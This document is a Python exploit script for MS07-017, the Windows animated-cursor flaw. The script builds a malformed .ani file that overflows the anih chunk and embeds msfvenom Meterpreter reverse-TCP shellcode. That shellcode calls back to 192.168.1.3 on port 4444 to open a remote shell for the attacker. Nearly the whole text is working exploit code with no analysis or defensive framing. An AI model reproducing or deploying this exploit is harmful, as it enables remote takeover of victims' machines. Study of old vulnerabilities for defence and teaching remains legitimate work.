Exploit code for MS07-017

ms07-017-exploit.py

#!/usr/bin/env python3

import struct

riff = b"RIFF"
acon = b"ACON"

# Valid anih chunk
valid_anih  = b"\x61\x6e\x69\x68" + b"\x24\x00\x00\x00" + b"\x24\x00\x00\x00" + b"\x02\x00\x00\x00" # "anih" + size + HeaderSize + NumFrames
valid_anih += b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00" # NumSteps + Width + Height + BitCount
valid_anih += b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x01\x00\x00\x00"                       # NumPlanes + DisplayRate + Flags


# Chunk having our payload

# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=4444 -f python -v payload
payload  = b""
payload += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64"
payload += b"\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28"
payload += b"\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c"
payload += b"\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52"
payload += b"\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
payload += b"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49"
payload += b"\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01"
payload += b"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75"
payload += b"\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b"
payload += b"\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
payload += b"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"
payload += b"\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77"
payload += b"\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8\xff"
payload += b"\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29"
payload += b"\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x01\x03"
payload += b"\x68\x02\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40"
payload += b"\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a"
payload += b"\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0"
payload += b"\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00\x00"
payload += b"\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
payload += b"\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00"
payload += b"\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff"
payload += b"\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8"
payload += b"\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00\x40"
payload += b"\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5"
payload += b"\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c"
payload += b"\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff\xff"
payload += b"\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56"
payload += b"\x6a\x00\x53\xff\xd5\x90"

payload_anih  = b"\x61\x61\x61\x61" + struct.pack('i',len(payload)) + payload                       # aaaa + size + shellcode


# Chunk with JMP [EBX]
shellcode  = b"\x41\x41\x41\x41" + b"\x41\x41\x41\x41" + b"\x41\x41\x41\x41" + b"\x41\x41\x41\x41"
shellcode += b"\x41\x41\x41\x41" + b"\x41\x41\x41\x41" + b"\x41\x41\x41\x41" + b"\x41\x41\x41\x41"
shellcode += b"\x00\x41\x41\x41" + b"\x41\x41\x41\x41" + b"\x41\x41\x41\x41" + b"\x41\x41\x41\x41"
shellcode += b"\x41\x41\x41\x41" + b"\x41\x41\x41\x41" + b"\x41\x41\x41\x41" + b"\x00\x00\x00\x00"
shellcode += b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00"
shellcode += b"\x42\x42\x42\x42" + b"\x0B\x70"

exploit_anih  = b"\x61\x6E\x69\x68" + struct.pack('i',len(shellcode)) + shellcode                   # anih + size + shellcode


length = b"\xeb" + struct.pack('i', 2 + len(valid_anih+acon) + 8)[0:3]

ani = riff + length + acon + valid_anih + payload_anih + exploit_anih

f = open('exploit.ani','w+b')
f.write(ani)
f.close()